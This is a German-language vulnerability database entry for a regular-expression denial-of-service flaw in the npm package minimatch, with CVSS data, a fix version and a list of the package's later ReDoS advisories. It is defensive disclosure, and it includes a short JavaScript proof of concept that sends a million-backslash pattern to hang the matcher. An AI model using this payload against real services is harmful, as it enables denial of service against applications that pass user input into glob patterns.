Hoch

Regular Expression Denial of Service in minimatch

Veröffentlicht: 09.10.2018
Aktualisiert: 11.10.2026 10:22

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
npm-Paket	minimatch	< 3.0.2	3.0.2

Verweise

CVSS-Wert 7.5/10

CVSS-Vektor: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE): CWE-400
Plattform: npm
Paket: minimatch
Veröffentlicht: 09.10.2018
Aktualisiert: 11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-hxm2-r34f-qmc5 - CC BY 4.0

Schwachstellenhistorie: minimatch

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt: 5
Erste → letzte: 10.2018 02.2026
Ohne Fix: 0
In Angriffen ausgenutzt: 0

Verteilung nach Schweregrad

Hoch 5

Veröffentlichungen pro Jahr

2018: 1
2019: 0
2020: 0
2021: 0
2022: 1
2023: 0
2024: 0
2025: 0
2026: 3

26.02.2026

minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Hoch · 7.5 CVE-2026-27903 >= 10.0.0, < 10.2.3, >= 9.0.0, < 9.0.7, >= 8.0.0, < 8.0.6, >= 7.0.0, < 7.4.8, >= 6.0.0, < 6.2.2, >= 5.0.0, < 5.1.8, >= 4.0.0, < 4.2.5, < 3.1.3 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.3
26.02.2026

minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

Hoch · 7.5 CVE-2026-27904 >= 10.0.0, < 10.2.3, >= 9.0.0, < 9.0.7, >= 8.0.0, < 8.0.6, >= 7.0.0, < 7.4.8, >= 6.0.0, < 6.2.2, >= 5.0.0, < 5.1.8, >= 4.0.0, < 4.2.5, < 3.1.4 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.4
18.02.2026

minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

Hoch CVE-2026-26996 >= 10.0.0, < 10.2.1, >= 9.0.0, < 9.0.6, >= 8.0.0, < 8.0.5, >= 7.0.0, < 7.4.7, >= 6.0.0, < 6.2.1, >= 5.0.0, < 5.1.7, >= 4.0.0, < 4.2.4, < 3.1.3 10.2.1, 9.0.6, 8.0.5, 7.4.7, 6.2.1, 5.1.7, 4.2.4, 3.1.3
18.10.2022

minimatch ReDoS vulnerability

Hoch · 7.5 CVE-2022-3517 < 3.0.5 3.0.5
09.10.2018

Regular Expression Denial of Service in minimatch dieser Eintrag

Hoch · 7.5 CVE-2016-10540 < 3.0.2 3.0.2

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden